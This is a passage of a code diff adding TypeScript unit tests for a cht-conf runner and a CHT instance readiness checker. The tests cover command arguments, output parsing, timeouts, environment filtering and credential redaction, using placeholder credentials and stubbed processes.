+// eslint-disable-next-line @typescript-eslint/no-var-requires
+const proxyquire = require('proxyquire').noCallThru();
+
+// A fake child process: an EventEmitter with stdout/stderr emitters and a kill spy.
+const makeFakeProc = () => {
+  const proc = new EventEmitter() as EventEmitter & {
+    stdout: EventEmitter;
+    stderr: EventEmitter;
+    kill: sinon.SinonSpy;
+  };
+  proc.stdout = new EventEmitter();
+  proc.stderr = new EventEmitter();
+  proc.kill = sinon.spy();
+  return proc;
+};
+
+const baseOpts = (overrides: Partial<ChtConfRunOptions> = {}): ChtConfRunOptions => ({
+  action: 'app-forms',
+  instanceUrl: 'https://medic:password@nginx/',
+  configPath: '/mnt/conf',
+  ...overrides,
+});
+
+type SpawnLog = { cmd: string; args: string[]; opts: Record<string, unknown> };
+
+// Load the runner with a stubbed spawn that returns `proc` and records the call.
+const loadRunner = (proc: EventEmitter) => {
+  const spawnLog: SpawnLog[] = [];
+  const spawnStub = sinon.stub().callsFake((cmd: string, args: string[], opts: Record<string, unknown>) => {
+    spawnLog.push({ cmd, args, opts });
+    return proc;
+  });
+  const mod = proxyquire('../../src/utils/cht-conf-runner', {
+    'node:child_process': { spawn: spawnStub },
+  });
+  return {
+    runBucket: mod.runBucket as (o: ChtConfRunOptions) => Promise<ConfigActionResult>,
+    runChtConf: mod.runChtConf as (o: ChtConfExecOptions) => Promise<ChtConfExecResult>,
+    spawnLog,
+  };
+};
+
+describe('cht-conf-runner', () => {
+  describe('buildChtConfArgs', () => {
+    it('includes the url, source, autonomous-safe flags, and the bucket verbs', () => {
+      const args = buildChtConfArgs(baseOpts());
+
+      expect(args).to.include('--url=https://medic:password@nginx/');
+      expect(args).to.include('--source=/mnt/conf');
+      expect(args).to.include('--force');
+      expect(args).to.include('--accept-self-signed-certs');
+      expect(args).to.include('convert-app-forms');
+      expect(args).to.include('upload-app-forms');
+    });
+
+    it('appends the artifact as a `--`-separated form filter for form buckets', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
+
+      // cht-conf's main.js rejects bare positionals as unsupported actions; only
+      // `-- <arg>` reaches environment.extraArgs / args-form-filter.
+      expect(args.slice(-2)).to.deep.equal(['--', 'pregnancy']);
+    });
+
+    it('does not emit a dangling `--` separator when there is no artifact', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-forms' }));
+
+      expect(args).to.not.include('--');
+    });
+
+    it('does not append the artifact for non-form buckets', () => {
+      const args = buildChtConfArgs(baseOpts({ action: 'app-settings', artifact: 'pregnancy' }));
+
+      expect(args).to.not.include('pregnancy');
+    });
+
+    it('app-settings-only uploads without compiling (pre-compiled deployment recovery)', () => {
+      expect(CONFIG_ACTION_COMMANDS['app-settings-only']).to.deep.equal(['upload-app-settings']);
+      const args = buildChtConfArgs(baseOpts({ action: 'app-settings-only' }));
+      expect(args).to.include('upload-app-settings');
+      expect(args).to.not.include('compile-app-settings');
+    });
+  });
+
+  describe('resolveChtConfBin', () => {
+    let saved: string | undefined;
+    beforeEach(() => { saved = process.env.CHT_CONF_BIN; });
+    afterEach(() => {
+      if (saved === undefined) { delete process.env.CHT_CONF_BIN; } else { process.env.CHT_CONF_BIN = saved; }
+    });
+
+    it('defaults to the global cht binary', () => {
+      delete process.env.CHT_CONF_BIN;
+      expect(resolveChtConfBin()).to.equal('cht');
+    });
+
+    it('honours CHT_CONF_BIN so the agent can run a deployment-pinned cht-conf from a full path', () => {
+      process.env.CHT_CONF_BIN = '/workspace/site-config-test/node_modules/.bin/cht';
+      expect(resolveChtConfBin()).to.equal('/workspace/site-config-test/node_modules/.bin/cht');
+    });
+  });
+
+  describe('classifyChtConfOutput', () => {
+    // Literal cht-conf log strings (verified against the installed cht-conf src:
+    // upload-forms.js, upload-app-settings.js, upload-custom-translations.js,
+    // upload-configuration-docs.js). The skip strings all contain "uploaded"/
+    // "updated", so naive substring matching misclassifies them — these guard
+    // that regression.
+    const UPLOADED = {
+      form: 'Form forms/app/pregnancy.xml uploaded',
+      settings: 'Settings updated successfully',
+      translation: 'Translation translations/messages-en.properties uploaded',
+      config: 'Configuration upload complete!',
+    };
+    const SKIPPED = {
+      form: 'Form forms/app/pregnancy.xml not uploaded, no changes',
+      settings: 'Settings not updated - no changes detected',
+      translation: 'Translation translations/messages-en.properties not uploaded as no changes were found',
+      config: 'Configuration not uploaded as no changes found',
+    };
+
+    it('returns failed for a non-zero exit code regardless of output', () => {
+      expect(classifyChtConfOutput(UPLOADED.form, 1)).to.equal('failed');
+    });
+
+    it('classifies each bucket-type real upload line as uploaded', () => {
+      expect(classifyChtConfOutput(UPLOADED.form, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.settings, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.translation, 0)).to.equal('uploaded');
+      expect(classifyChtConfOutput(UPLOADED.config, 0)).to.equal('uploaded');
+    });
+
+    it('classifies each bucket-type real "no changes" line as skipped (despite the word "uploaded")', () => {
+      expect(classifyChtConfOutput(SKIPPED.form, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.settings, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.translation, 0)).to.equal('skipped');
+      expect(classifyChtConfOutput(SKIPPED.config, 0)).to.equal('skipped');
+    });
+
+    it('returns uploaded for a multi-form bucket where some uploaded and some skipped', () => {
+      const output = [SKIPPED.form, UPLOADED.form].join('\n');
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('uploaded');
+    });
+
+    it('returns skipped (never uploaded) on a clean exit with no upload or skip line', () => {
+      expect(classifyChtConfOutput('done', 0)).to.equal('skipped');
+    });
+
+    it('returns skipped when a form filter matched nothing (cht-conf warns and exits 0)', () => {
+      const output = 'No matches found for files matching form filter: pregnency.xml';
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('skipped');
+    });
+
+    it('returns skipped when a bucket input file is missing (e.g. upload-branding without branding.json)', () => {
+      const output = 'No configuration file found at path: /mnt/conf/branding.json';
+
+      expect(classifyChtConfOutput(output, 0)).to.equal('skipped');
+    });
+  });
+
+  describe('runChtConf', () => {
+    const execOpts = (overrides: Partial<ChtConfExecOptions> = {}): ChtConfExecOptions => ({
+      verbs: ['csv-to-docs', 'upload-docs'],
+      instanceUrl: 'https://medic:password@nginx/',
+      configPath: '/mnt/data',
+      ...overrides,
+    });
+
+    afterEach(() => {
+      sinon.restore();
+    });
+
+    it('spawns the verbs in order after the url, source, and autonomous-safe flags', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ extraArgs: ['pregnancy'] }));
+      proc.emit('close', 0);
+      await promise;
+
+      const args = spawnLog[0].args;
+      expect(args[0]).to.equal('--url=https://medic:password@nginx/');
+      expect(args[1]).to.equal('--source=/mnt/data');
+      expect(args).to.include('--force');
+      // Verbs run in the given order; extras ride after the `--` separator
+      // (a bare positional would make cht-conf throw "Unsupported action(s)").
+      expect(args.slice(-4)).to.deep.equal(['csv-to-docs', 'upload-docs', '--', 'pregnancy']);
+    });
+
+    it('passes the cwd through so cht-conf report files land in the data project', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ cwd: '/mnt/data' }));
+      proc.emit('close', 0);
+      await promise;
+
+      expect(spawnLog[0].opts.cwd).to.equal('/mnt/data');
+    });
+
+    it('does not set a cwd (and never a shell) unless asked', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      expect(spawnLog[0].opts).to.not.have.property('cwd');
+      expect(spawnLog[0].opts).to.not.have.property('shell');
+    });
+
+    it('applies the minimal env allow-list to the child', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf, spawnLog } = loadRunner(proc);
+      const prior = process.env.ANTHROPIC_API_KEY;
+      process.env.ANTHROPIC_API_KEY = 'sk-should-not-leak';
+
+      const promise = runChtConf(execOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      const childEnv = spawnLog[0].opts.env as NodeJS.ProcessEnv;
+      expect(childEnv).to.not.have.property('ANTHROPIC_API_KEY');
+      expect(childEnv).to.have.property('PATH');
+      if (prior === undefined) {
+        delete process.env.ANTHROPIC_API_KEY;
+      } else {
+        process.env.ANTHROPIC_API_KEY = prior;
+      }
+    });
+
+    it('collects interleaved stdout and stderr into output with the exit code', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts());
+      proc.stdout.emit('data', Buffer.from('INFO Summary: 3 of 3 docs uploaded OK.\n'));
+      proc.stderr.emit('data', Buffer.from('some stderr noise\n'));
+      proc.emit('close', 3);
+
+      const result = await promise;
+      expect(result.exitCode).to.equal(3);
+      expect(result.timedOut).to.equal(false);
+      expect(result.output).to.include('Summary: 3 of 3 docs uploaded OK.');
+      expect(result.output).to.include('some stderr noise');
+    });
+
+    it('kills the process and reports timedOut when the run times out', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      // Tiny timeout, and the fake proc never emits 'close' → the timer fires.
+      const result = await runChtConf(execOpts({ timeoutMs: 5 }));
+
+      expect(proc.kill.calledWith('SIGTERM')).to.equal(true);
+      expect(result.timedOut).to.equal(true);
+      expect(result.exitCode).to.be.null;
+    });
+
+    it('escalates to SIGKILL 5s after SIGTERM when the child does not exit', async () => {
+      const clock = sinon.useFakeTimers();
+      try {
+        const proc = makeFakeProc();
+        const { runChtConf } = loadRunner(proc);
+
+        const promise = runChtConf(execOpts({ timeoutMs: 5 }));
+        await clock.tickAsync(5);
+        expect((await promise).timedOut).to.equal(true);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(false);
+
+        await clock.tickAsync(5_000);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(true);
+      } finally {
+        clock.restore();
+      }
+    });
+
+    it('does not SIGKILL a child that exited after SIGTERM', async () => {
+      const clock = sinon.useFakeTimers();
+      try {
+        const proc = makeFakeProc();
+        const { runChtConf } = loadRunner(proc);
+
+        const promise = runChtConf(execOpts({ timeoutMs: 5 }));
+        await clock.tickAsync(5);
+        await promise;
+        proc.emit('close', null);
+
+        await clock.tickAsync(5_000);
+        expect(proc.kill.calledWith('SIGKILL')).to.equal(false);
+      } finally {
+        clock.restore();
+      }
+    });
+
+    it('folds a spawn failure into startError instead of rejecting, naming the binary', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ bin: 'cht' }));
+      proc.emit('error', new Error('ENOENT'));
+
+      const result = await promise;
+      expect(result.startError).to.include('ENOENT (bin=cht)');
+      expect(result.startError).to.include('cht-conf is on PATH');
+      expect(result.exitCode).to.be.null;
+    });
+
+    it('names the cwd too when one was set (a bad cwd raises the same ENOENT as a missing binary)', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf(execOpts({ cwd: '/nope/missing', bin: 'cht' }));
+      proc.emit('error', new Error('spawn cht ENOENT'));
+
+      const result = await promise;
+      expect(result.startError).to.include('spawn cht ENOENT (bin=cht, cwd=/nope/missing)');
+    });
+  });
+
+  describe('runBucket', () => {
+    afterEach(() => {
+      sinon.restore();
+    });
+
+    it('spawns the configured bin with no shell and resolves uploaded on clean exit', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ bin: 'fake-cht' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(spawnLog).to.have.length(1);
+      expect(spawnLog[0].cmd).to.equal('fake-cht');
+      expect(spawnLog[0].opts).to.not.have.property('shell');
+      expect(result.status).to.equal('uploaded');
+      expect(result.commands).to.deep.equal(['convert-app-forms', 'upload-app-forms']);
+    });
+
+    it('does not pass secret-bearing env vars to the cht-conf child', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+      const prior = process.env.ANTHROPIC_API_KEY;
+      process.env.ANTHROPIC_API_KEY = 'sk-should-not-leak';
+
+      const promise = runBucket(baseOpts());
+      proc.emit('close', 0);
+      await promise;
+
+      const childEnv = spawnLog[0].opts.env as NodeJS.ProcessEnv;
+      expect(childEnv).to.not.have.property('ANTHROPIC_API_KEY');
+      expect(childEnv).to.have.property('PATH');
+      if (prior === undefined) {
+        delete process.env.ANTHROPIC_API_KEY;
+      } else {
+        process.env.ANTHROPIC_API_KEY = prior;
+      }
+    });
+
+    it('resolves skipped on cht-conf\'s real "not uploaded, no changes" line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml not uploaded, no changes'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+    });
+
+    it('kills the process and resolves failed when the bucket times out', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      // Tiny timeout, and the fake proc never emits 'close' → the timer fires.
+      const result = await runBucket(baseOpts({ timeoutMs: 5 }));
+
+      expect(proc.kill.calledWith('SIGTERM')).to.equal(true);
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('timed out');
+    });
+
+    it('resolves failed on a non-zero exit', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from('boom'));
+      proc.emit('close', 2);
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+    });
+
+    it('resolves failed (not throws) when the process fails to start', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.emit('error', new Error('ENOENT'));
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('failed to start');
+    });
+
+    it('warns and ignores artifact targeting for non-form buckets', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'app-settings', artifact: 'pregnancy' }));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.warnings.join(' ')).to.include('artifact targeting ignored');
+    });
+
+    it('flags an artifact-targeted miss without judging it (applyConfig weighs the buckets)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ artifact: 'pregnency' }));
+      proc.stdout.emit('data', Buffer.from('No matches found for files matching form filter: pregnency.xml\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.matchedNothing).to.equal(true);
+      expect(result.warnings.join(' ')).to.include('matched no artifact named "pregnency"');
+    });
+
+    it('keeps a missing bucket input as skipped (cht-core config/default has no branding.json)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'resources' }));
+      proc.stdout.emit('data', Buffer.from('No configuration file found at path: /mnt/conf/branding.json\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.warnings.join(' ')).to.include('nothing to upload');
+    });
+
+    it('resolves skipped with a warning when a clean exit produced no upload or skip line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('skipped');
+      expect(result.warnings.join(' ')).to.include('no upload or skip line');
+    });
+
+    it('surfaces cht-conf output on a failed bucket (a bare exit code explains nothing)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from('ERROR Form pregnancy.xml is invalid: missing instance\n'));
+      proc.emit('close', 1);
+
+      const result = await promise;
+      expect(result.status).to.equal('failed');
+      expect(result.warnings.join(' ')).to.include('missing instance');
+    });
+
+    it('prefers the ERROR line over the stack frames that follow it, without ANSI codes', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+      // Shaped like a real cht-conf failure: the reason is buried above the trace.
+      const output = [
+        '\x1b[31mERROR EROFS: read-only file system, unlink \'/cfg/forms/app/death_report.xml\'\x1b[0m',
+        '    at Object.execute (/usr/local/lib/node_modules/cht-conf/src/fn/convert-app-forms.js:18:18)',
+        '    at executeAction (/usr/local/lib/node_modules/cht-conf/src/lib/main.js:262:40)',
+        '    at module.exports (/usr/local/lib/node_modules/cht-conf/src/lib/main.js:194:11)',
+        '    at process.processTicksAndRejections (node:internal/process/task_queues:103:5)',
+        '    at async /usr/local/lib/node_modules/cht-conf/src/bin/index.js:16:5',
+      ].join('\n');
+
+      const promise = runBucket(baseOpts());
+      proc.stderr.emit('data', Buffer.from(output));
+      proc.emit('close', 1);
+
+      const result = await promise;
+      expect(result.warnings).to.have.lengthOf(1);
+      expect(result.warnings[0]).to.equal('cht-conf: ERROR EROFS: read-only file system, unlink \'/cfg/forms/app/death_report.xml\'');
+    });
+
+    it('redacts credentials cht-conf echoed into its own output', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf({
+        verbs: ['upload-docs'],
+        instanceUrl: 'https://medic:password@nginx/',
+        configPath: '/mnt/data',
+      });
+      proc.stdout.emit('data', Buffer.from('INFO Using url https://medic:password@nginx/medic\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.output).to.include('https://***:***@nginx/medic');
+      expect(result.output).to.not.include('password');
+    });
+
+    it('redacts a password containing @ without leaking its tail', async () => {
+      const proc = makeFakeProc();
+      const { runChtConf } = loadRunner(proc);
+
+      const promise = runChtConf({
+        verbs: ['upload-docs'],
+        instanceUrl: 'https://admin:p@ssw0rd@nginx/',
+        configPath: '/mnt/data',
+      });
+      proc.stdout.emit('data', Buffer.from('INFO url https://admin:p@ssw0rd@nginx/medic\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.output).to.include('https://***:***@nginx/medic');
+      expect(result.output).to.not.include('ssw0rd');
+    });
+
+    // cht-conf's log.js writes every level to STDOUT behind a colour code, e.g. \x1b[31mERROR.
+    const coloured = (colour: string, level: string, message: string) => `\x1b[${colour}m${level} ${message} \x1b[0m\n`;
+
+    it('keeps the status but reports an ERROR line that cht-conf logged before it exited 0', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'resources' }));
+      // upload-custom-translations.js logs a wrong-file-name ERROR, then still uploads every changed file.
+      const wrongName = 'The following file/s have wrong ISO 639 language code: messages-luo.properties';
+      proc.stdout.emit('data', Buffer.from(coloured('31', 'ERROR', wrongName)));
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Translation translations/messages-luo.properties uploaded')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings.join(' ')).to.include('exited 0 but logged errors');
+      expect(result.warnings.join(' ')).to.include('wrong ISO 639 language code');
+    });
+
+    it('does not fail an upload whose form is merely named like an error', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/error-report.xml uploaded')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
+    });
+
+    it('matches the level tag case-sensitively: a line that starts with "Error" is not an ERROR line', async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/pregnancy.xml uploaded')));
+      proc.stderr.emit('data', Buffer.from('Error: something a child printed to stderr\n'));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
+    });
+
+    it("does not fail on cht-conf's benign INFO about an unreadable bookmark", async () => {
+      const proc = makeFakeProc();
+      const { runBucket } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts());
+      // warn-upload-overwrite.js logs this at INFO and carries on.
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Error trying to read bookmark, continuing anyway')));
+      proc.stdout.emit('data', Buffer.from(coloured('32', 'INFO', 'Form forms/app/pregnancy.xml uploaded')));
+      proc.emit('close', 0);
+
+      const result = await promise;
+      expect(result.status).to.equal('uploaded');
+      expect(result.warnings).to.deep.equal([]);
+    });
+
+    it('spawns the artifact filter it advertises (same lowering as buildChtConfArgs)', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ action: 'app-forms', artifact: 'pregnancy' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      await promise;
+      expect(spawnLog[0].args.slice(-2)).to.deep.equal(['--', 'pregnancy']);
+      expect(spawnLog[0].args).to.deep.equal(buildChtConfArgs(baseOpts({ action: 'app-forms', artifact: 'pregnancy' })));
+    });
+
+    it('passes the cwd through to the spawned bucket process', async () => {
+      const proc = makeFakeProc();
+      const { runBucket, spawnLog } = loadRunner(proc);
+
+      const promise = runBucket(baseOpts({ cwd: '/mnt/conf' }));
+      proc.stdout.emit('data', Buffer.from('Form forms/app/pregnancy.xml uploaded'));
+      proc.emit('close', 0);
+
+      await promise;
+      expect(spawnLog[0].opts.cwd).to.equal('/mnt/conf');
+    });
+  });
+});
diff --git a/test/utils/cht-readiness.spec.ts b/test/utils/cht-readiness.spec.ts
new file mode 100644
index 00000000..ecc99aed
--- /dev/null
+++ b/test/utils/cht-readiness.spec.ts
@@ -0,0 +1,203 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { waitForReady } from '../../src/utils/cht-readiness';
+
+describe('cht-readiness', () => {
+  let fetchStub: sinon.SinonStub;
+
+  beforeEach(() => {
+    // `fetch` is a Node global; stub it the same way the MCP client spec does.
+    fetchStub = sinon.stub(globalThis, 'fetch' as any);
+  });
+
+  afterEach(() => {
+    sinon.restore();
+  });
+
+  // Zero delays keep the backoff loop fast in tests.
+  const fast = { initialDelayMs: 0, maxDelayMs: 0 };
+  const healthy = () => ({
+    ok: true,
+    status: 200,
+    json: async () => ({ version: { app: '4.18.0', couchdb: '3.4.2' } }),
+  });
+  const unavailable = () => ({ ok: false, status: 503, json: async () => ({ error: 'Service unavailable' }) });
+  const expectRejection = async (promise: Promise<void>): Promise<Error> => {
+    try {
+      await promise;
+    } catch (error) {
+      return error as Error;
+    }
+    expect.fail('expected waitForReady to reject');
+  };
+
+  describe('waitForReady', () => {
+    it('resolves once monitoring reports both versions, asking for JSON', async () => {
+      fetchStub.resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.calledOnce).to.equal(true);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/api/v2/monitoring');
+      expect(fetchStub.firstCall.args[1].headers.Accept).to.equal('application/json');
+    });
+
+    it('keeps polling past the 200 startup page cht-api serves before it is up', async () => {
+      fetchStub.onCall(0).resolves({
+        ok: true,
+        status: 200,
+        json: async () => {
+          throw new SyntaxError('Unexpected token < in JSON');
+        },
+      });
+      fetchStub.onCall(1).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('treats an empty app or CouchDB version as not ready', async () => {
+      const versions = (app: string, couchdb: string) => ({
+        ok: true,
+        status: 200,
+        json: async () => ({ version: { app, couchdb } }),
+      });
+      fetchStub.onCall(0).resolves(versions('4.18.0', ''));
+      fetchStub.onCall(1).resolves(versions('', '3.4.2'));
+      fetchStub.onCall(2).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(3);
+    });
+
+    it('fails fast on a redirect instead of waiting out the budget', async () => {
+      fetchStub.resolves({ ok: false, status: 301 });
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('cannot become ready as configured');
+      expect(fetchStub.firstCall.args[1].redirect).to.equal('manual');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('fails fast on a 4xx, which no bring-up step answers (497: http sent to the https port)', async () => {
+      fetchStub.resolves({ ok: false, status: 497 });
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('cannot become ready as configured: HTTP 497');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('keeps polling on 408 and 429, which can clear by themselves', async () => {
+      fetchStub.onCall(0).resolves({ ok: false, status: 408 });
+      fetchStub.onCall(1).resolves({ ok: false, status: 429 });
+      fetchStub.onCall(2).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      expect(fetchStub.callCount).to.equal(3);
+    });
+
+    it('fails fast when the runtime does not trust the certificate', async () => {
+      const cause = Object.assign(new Error('self-signed certificate'), { code: 'DEPTH_ZERO_SELF_SIGNED_CERT' });
+      fetchStub.rejects(Object.assign(new TypeError('fetch failed'), { cause }));
+
+      const error = await expectRejection(waitForReady('https://nginx', fast));
+
+      expect(error.message).to.include('self-signed certificate');
+      expect(error.message).to.include('NODE_EXTRA_CA_CERTS');
+      expect(fetchStub.callCount).to.equal(1);
+    });
+
+    it('surfaces the underlying cause, which Node hides behind "fetch failed"', async () => {
+      const failure = Object.assign(new TypeError('fetch failed'), {
+        cause: new Error('connect ECONNREFUSED 172.18.0.3:443'),
+      });
+      fetchStub.rejects(failure);
+
+      const error = await expectRejection(waitForReady('https://nginx', { ...fast, maxWaitMs: 5 }));
+
+      expect(error.message).to.include('ECONNREFUSED');
+    });
+
+    it('names the cause code when its message is empty (an AggregateError for localhost)', async () => {
+      const cause = Object.assign(new AggregateError([], ''), { code: 'ECONNREFUSED' });
+      fetchStub.rejects(Object.assign(new TypeError('fetch failed'), { cause }));
+
+      const error = await expectRejection(waitForReady('https://localhost', { ...fast, maxWaitMs: 5 }));
+
+      expect(error.message).to.include('fetch failed (ECONNREFUSED)');
+    });
+
+    it('retries until healthy (503, 503, then 200)', async () => {
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).resolves(unavailable());
+      fetchStub.onCall(2).resolves(healthy());
+
+      const result = await waitForReady('https://nginx', fast);
+
+      expect(result).to.be.undefined;
+      expect(fetchStub.callCount).to.equal(3);
+    });
+
+    it('retries when fetch rejects (connection refused), then succeeds', async () => {
+      fetchStub.onCall(0).rejects(new Error('ECONNREFUSED'));
+      fetchStub.onCall(1).resolves(healthy());
+
+      const result = await waitForReady('https://nginx', fast);
+
+      expect(result).to.be.undefined;
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('rejects with a clear message if never ready before timeout', async () => {
+      fetchStub.resolves(unavailable());
+
+      const error = await expectRejection(waitForReady('https://nginx', { ...fast, maxWaitMs: 30 }));
+
+      expect(error.message).to.include('did not become ready');
+      expect(error.message).to.include('https://nginx');
+    });
+
+    it('gives the probe after the last sleep a real budget, not whatever was left over', async () => {
+      // A slow instance that honours the abort signal: a ~1ms budget would abort it.
+      const slowHealthy = (_url: string, init: { signal: AbortSignal }) =>
+        new Promise((resolve, reject) => {
+          const timer = setTimeout(() => resolve(healthy()), 50);
+          init.signal.addEventListener('abort', () => {
+            clearTimeout(timer);
+            reject(init.signal.reason);
+          });
+        });
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).callsFake(slowHealthy);
+
+      await waitForReady('https://nginx', { initialDelayMs: 5_000, maxDelayMs: 5_000, maxWaitMs: 1_200 });
+
+      expect(fetchStub.callCount).to.equal(2);
+    });
+
+    it('logs each new failure reason once, so a long wait is not silent', async () => {
+      const logSpy = sinon.spy(console, 'log');
+      fetchStub.onCall(0).resolves(unavailable());
+      fetchStub.onCall(1).resolves(unavailable());
+      fetchStub.onCall(2).resolves(healthy());
+
+      await waitForReady('https://nginx', fast);
+
+      const notes = logSpy.getCalls().filter((call) => String(call.args[0]).startsWith('[cht-readiness]'));
+      expect(notes).to.have.lengthOf(1);
+      expect(String(notes[0].args[0])).to.include('HTTP 503');
+    });
+
+    it('rejects a budget that is not a finite number instead of polling forever', async () => {
+      const error = await expectRejection(waitForReady('https://nginx', { maxWaitMs: Number.NaN }));
+
+      expect(error.message).to.include('finite');
+      expect(fetchStub.called).to.equal(false);
+    });
+  });
+});
diff --git a/test/utils/test-data.spec.ts b/test/utils/test-data.spec.ts
new file mode 100644
index 00000000..be93d6a6
--- /dev/null
+++ b/test/utils/test-data.spec.ts
@@ -0,0 +1,309 @@
+import { expect } from 'chai';
+import { existsSync, mkdtempSync, mkdirSync, readdirSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+  SeededDoc,
+  classifySeededDocs,
+  countCreatedUsers,
+  findForeignDocFiles,
+  hasCsvInput,
+  hasUsersCsv,
+  listDocFiles,
+  parseUploadDocsSummary,
+  readSeededDocs,
+  recordOwnedDocFiles,
+  removeOwnedDocFiles,
+} from '../../src/utils/test-data';
+import { DiscoveredConfig } from '../../src/types';
+
+// Literal cht-conf log lines (src/lib/log.js prefixes every line with an ANSI
+// color + level and appends a reset code) — the parsers must see through them.
